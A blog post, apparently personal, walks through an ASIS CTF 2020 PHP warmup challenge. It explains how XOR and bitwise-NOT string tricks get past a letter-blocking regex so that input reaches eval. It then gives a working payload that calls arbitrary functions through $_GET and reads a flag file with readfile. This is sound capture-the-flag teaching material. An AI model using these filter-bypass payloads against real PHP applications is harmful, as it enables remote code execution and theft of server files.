Hello all, friends.
20 months from my last post! We could say i’m not too much active on this blog , ha-ha. This weekend had the opportunity to test some ASIS CTF 2020 challenges and join this legendary CTF with dcua team. I remember that it was more or less in 2013 that I had participated and solved some good quality challenges with by their side. This time I had to strive to overcome my rusty knowledge of PHP. After all, the challenge could be solved in 10 minutes and it was not at all complicated and shows you how bizarre and strange this weak language is.
They provide us with the following php code.
<?php if(isset($_GET['view-source'])){ highlight_file(__FILE__); die(); } if(isset($_GET['warmup'])){ if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) { eval($_GET['warmup']); }else{ die("Try harder!"); } }else{ die("No param given"); }
Need to reach eval to produce RCE with this regular expression conditions , no lower and uppoer chars from a to z in the warmup GET variable and lenght must be equal or lower to 60. In PHP when you do XOR to two string values the string is first converted to ASCII value, then the ASCII value is converted to binary and then the result is converted from binary to ASCII value. XOR operations are sometimes used to exchange the values of two variables. Let’s see some examples.
Make a loop to produce XOR in a..z with value ‘$’
for chr in {a..z}; do php -r " echo '"$chr"'^'$'; echo chr(10); "; done E F G @ A B C L M N O H I J K T U V W P Q R S \ ] ^
Nice, we see it produces different values. Well, we have the representation of a character through an XOR operation. For more detail, we can see that.
«{» XOR «<» produces «G», «{» XOR «>» produces «E» and «{» XOR «/» is «T», get it? :)
Using XOR we could make character by character the avoidance of the regular expression and together with the PHP characteristic of being a weak language we will use a payload like «$_GET[_]($_GET[__])» using only certain characters.
$_="`{{{"^"?<>/"; _GET (unXORed) ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]);
I haven’t mentioned it before but we can use the urlencode to encode and evade the regular expression. We use this to view PHP information with phpinfo().
php > echo urlencode(~'phpinfo'); %8F%97%8F%96%91%99%90
Now access to http://69.90.132.196:5003/?warmup=(~%8F%97%8F%96%91%99%90)(); and see, for example, disable functions.
Here the complete list:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,exec,putenv,mail,passthru,shell_exec,popen,stream_select,curl_exec,curl_multi_exec,parse_ini_file,proc_open,imap_mail,error_log
Keeping in mind a list of disabled functions and all the payload tested we can get the flag easily with readfile.
Final payload:
GET /?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=readfile&__=/var/www/html/flag.php
In detail:
`{{{"^"?<>/" //_GET ${$_}[_] // $_GET[_] (${$_}[__]) // ($_GET[__])
Here &_ and &__ sends the first function (readfile) and second param (/var/www/html/flag.php) producing readfile(/var/www/html/flag.php).